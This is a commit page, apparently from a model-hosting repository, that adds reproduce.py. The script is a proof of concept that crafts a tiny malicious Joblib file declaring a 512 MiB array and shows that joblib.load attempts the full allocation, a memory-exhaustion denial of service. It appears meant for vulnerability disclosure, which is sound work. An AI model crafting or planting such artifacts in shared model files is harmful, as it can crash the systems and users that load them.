htdy7703 commited on
Commit
a8d0d88
·
verified ·
1 Parent(s): 1136d27

Add reproduce.py for Joblib memory bomb PoC

Browse files

Script that generates the tiny malicious Joblib artifact and reproduces the allocation attempt.

Files changed (1) hide show
  1. reproduce.py +58 -0
reproduce.py ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from __future__ import annotations
2
+
3
+ import pickle
4
+ import resource
5
+ import sys
6
+ import tempfile
7
+ from pathlib import Path
8
+
9
+
10
+ ROOT = Path(__file__).resolve().parents[2]
11
+ REPO_ROOT = ROOT / "repo"
12
+ WORKSPACE = ROOT.parents[1]
13
+
14
+ for candidate in (
15
+ WORKSPACE / ".pydeps-joblib",
16
+ REPO_ROOT,
17
+ ):
18
+ candidate_str = str(candidate)
19
+ if candidate.exists() and candidate_str not in sys.path:
20
+ sys.path.insert(0, candidate_str)
21
+
22
+ import numpy as np
23
+ from joblib import load
24
+ from joblib.numpy_pickle import NumpyArrayWrapper
25
+
26
+
27
+ def main() -> None:
28
+ base = Path(tempfile.mkdtemp(prefix="joblib-wrapper-bomb-"))
29
+ artifact_path = base / "bomb.joblib"
30
+
31
+ wrapper = NumpyArrayWrapper(
32
+ np.ndarray,
33
+ (512 * 1024 * 1024,),
34
+ "C",
35
+ np.dtype("u1"),
36
+ allow_mmap=False,
37
+ )
38
+ with artifact_path.open("wb") as f:
39
+ pickle.dump(wrapper, f, protocol=4)
40
+
41
+ with artifact_path.open("rb") as f:
42
+ inert = pickle.load(f)
43
+
44
+ print(f"artifact={artifact_path}")
45
+ print(f"artifact_size={artifact_path.stat().st_size}")
46
+ print(f"pickle_load={type(inert).__name__} shape={inert.shape} dtype={inert.dtype}")
47
+
48
+ resource.setrlimit(resource.RLIMIT_AS, (300 * 1024 * 1024, 300 * 1024 * 1024))
49
+
50
+ try:
51
+ load(artifact_path)
52
+ print("joblib_load=success")
53
+ except BaseException as exc:
54
+ print(f"joblib_load={type(exc).__name__}: {exc}")
55
+
56
+
57
+ if __name__ == "__main__":
58
+ main()